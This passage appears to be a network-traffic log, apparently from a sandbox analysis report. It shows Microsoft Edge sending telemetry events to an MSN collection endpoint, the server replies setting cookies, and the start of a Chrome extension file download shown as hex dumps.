65 70 6f 63 68 22 3a 22 33 30 30 39 35 31 34 31 34 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-19T15:11:27.993Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"94514c97-c535-49c7-b0f4-fc1748db791a","epoch":"3009514140"},"app":{"locale
2024-12-19 15:11:30 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f8047a15a02d449a9c00836edccaa134&HASH=f804&LV=202412&V=4&LU=1734621090652; Domain=.microsoft.com; Expires=Fri, 19 Dec 2025 15:11:30 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=916ff91d604540c6a1d73d2543c44f25; Domain=.microsoft.com; Expires=Thu, 19 Dec 2024 15:41:30 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2658 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 19 Dec 2024 15:11:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50155	52.138.229.66	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:30 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621088004&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 33322 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09B6C4049C2967923623D15E9D006621; _EDGE_S=F=1&SID=14B2A23A8ED76C5327E7B7608F9C6D59; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-19 15:11:30 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 31 31 3a 32 38 2e 30 30 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 34 35 31 34 63 39 37 2d 63 35 33 35 2d 34 39 63 37 2d 62 30 66 34 2d 66 63 31 37 34 38 64 62 37 39 31 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 30 39 35 31 34 31 34 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-19T15:11:28.001Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"94514c97-c535-49c7-b0f4-fc1748db791a","epoch":"3009514140"},"app":{"locale
2024-12-19 15:11:30 UTC	16384	OUT	Data Raw: 76 65 72 22 7d 2c 22 69 73 41 64 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 69 73 41 75 74 6f 52 65 66 72 65 73 68 22 3a 66 61 6c 73 65 2c 22 69 73 4a 53 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 69 73 53 74 61 74 69 63 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 6f 63 69 64 22 3a 22 6d 73 65 64 67 64 68 70 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 65 64 67 65 2f 6e 74 70 3f 6c 6f 63 61 6c 65 3d 65 6e 2d 47 42 26 74 69 74 6c 65 3d 4e 65 77 25 32 30 74 61 62 26 64 73 70 3d 31 26 73 70 3d 42 69 6e 67 26 69 73 46 52 45 4d 6f 64 61 6c 42 61 63 6b 67 72 6f 75 6e 64 3d 31 26 73 Data Ascii: ver"},"isAdEnabled":false,"isAutoRefresh":false,"isJSEnabled":true,"isStatic":false,"name":"default","ocid":"msedgdhp","product":"anaheim","type":"dhp","url":"https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&s
2024-12-19 15:11:30 UTC	554	OUT	Data Raw: 3a 22 6f 22 2c 22 73 70 61 6e 73 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 5b 31 34 30 37 35 2c 32 39 38 30 5d 7d 7d 2c 22 5b 63 64 6e 5d 2f 73 74 61 74 69 63 73 62 2f 73 74 61 74 69 63 73 2f 6c 61 74 65 73 74 2f 62 72 61 6e 64 2f 6e 65 77 2d 6d 73 6e 2d 6c 6f 67 6f 2d 63 6f 6c 6f 72 2d 62 6c 61 63 6b 2e 73 76 67 22 3a 7b 22 74 79 70 65 22 3a 22 6f 22 2c 22 73 70 61 6e 73 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 5b 31 37 36 33 35 2c 33 36 38 5d 7d 2c 22 64 75 72 61 74 69 6f 6e 73 22 3a 7b 22 63 6f 6e 6e 65 63 74 22 3a 31 30 2c 22 72 65 71 75 65 73 74 22 3a 33 35 39 2c 22 63 64 6e 54 43 50 22 3a 33 31 36 2c 22 63 64 6e 53 65 6c 66 22 3a 30 2c 22 63 64 6e 4f 72 69 67 69 6e 22 3a 30 7d 2c 22 73 63 61 6c 61 72 73 22 3a 7b 22 73 69 7a 65 22 3a 32 30 37 30 2c 22 63 Data Ascii: :"o","spans":{"network":[14075,2980]}},"[cdn]/staticsb/statics/latest/brand/new-msn-logo-color-black.svg":{"type":"o","spans":{"network":[17635,368]},"durations":{"connect":10,"request":359,"cdnTCP":316,"cdnSelf":0,"cdnOrigin":0},"scalars":{"size":2070,"c
2024-12-19 15:11:31 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ac5b5a91e1a24c0c97d466012131dbcc&HASH=ac5b&LV=202412&V=4&LU=1734621090671; Domain=.microsoft.com; Expires=Fri, 19 Dec 2025 15:11:30 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=856eba0d75cf414383078ff9e10e6af3; Domain=.microsoft.com; Expires=Thu, 19 Dec 2024 15:41:30 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2667 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 19 Dec 2024 15:11:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50156	52.138.229.66	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:31 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621088952&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5371 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09B6C4049C2967923623D15E9D006621; _EDGE_S=F=1&SID=14B2A23A8ED76C5327E7B7608F9C6D59; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-19 15:11:31 UTC	5371	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 31 31 3a 32 38 2e 39 35 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 34 35 31 34 63 39 37 2d 63 35 33 35 2d 34 39 63 37 2d 62 30 66 34 2d 66 63 31 37 34 38 64 62 37 39 31 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 30 39 35 31 34 31 34 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-19T15:11:28.951Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"94514c97-c535-49c7-b0f4-fc1748db791a","epoch":"3009514140"},"app":{"locale
2024-12-19 15:11:31 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7108820ae689457d88a19cb346401b11&HASH=7108&LV=202412&V=4&LU=1734621091637; Domain=.microsoft.com; Expires=Fri, 19 Dec 2025 15:11:31 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=390afe21990e443683df6aca9ed33366; Domain=.microsoft.com; Expires=Thu, 19 Dec 2024 15:41:31 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2685 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 19 Dec 2024 15:11:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	50157	52.138.229.66	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:31 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621089037&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9621 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09B6C4049C2967923623D15E9D006621; _EDGE_S=F=1&SID=14B2A23A8ED76C5327E7B7608F9C6D59; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-19 15:11:31 UTC	9621	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 31 31 3a 32 39 2e 30 33 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 34 35 31 34 63 39 37 2d 63 35 33 35 2d 34 39 63 37 2d 62 30 66 34 2d 66 63 31 37 34 38 64 62 37 39 31 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 30 39 35 31 34 31 34 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-12-19T15:11:29.036Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"94514c97-c535-49c7-b0f4-fc1748db791a","epoch":"3009514140"},"app":{"loc
2024-12-19 15:11:31 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6ba9d1f206dc456abc64d97e0c4a845a&HASH=6ba9&LV=202412&V=4&LU=1734621091667; Domain=.microsoft.com; Expires=Fri, 19 Dec 2025 15:11:31 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=96e4547e55ac4de1bb88af2f9a4faca7; Domain=.microsoft.com; Expires=Thu, 19 Dec 2024 15:41:31 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2630 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 19 Dec 2024 15:11:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50160	142.250.80.65	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:33 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-19 15:11:33 UTC	563	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC5B6LM-RUm7tH6AgQmAnNkH3rPbVBR2Mm2FIfcmM8SkCEO9U-l9x7pzmbeIO7Fn2Bko X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Wed, 18 Dec 2024 15:58:13 GMT Expires: Thu, 18 Dec 2025 15:58:13 GMT Cache-Control: public, max-age=31536000 Age: 83600 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-19 15:11:33 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
2024-12-19 15:11:33 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
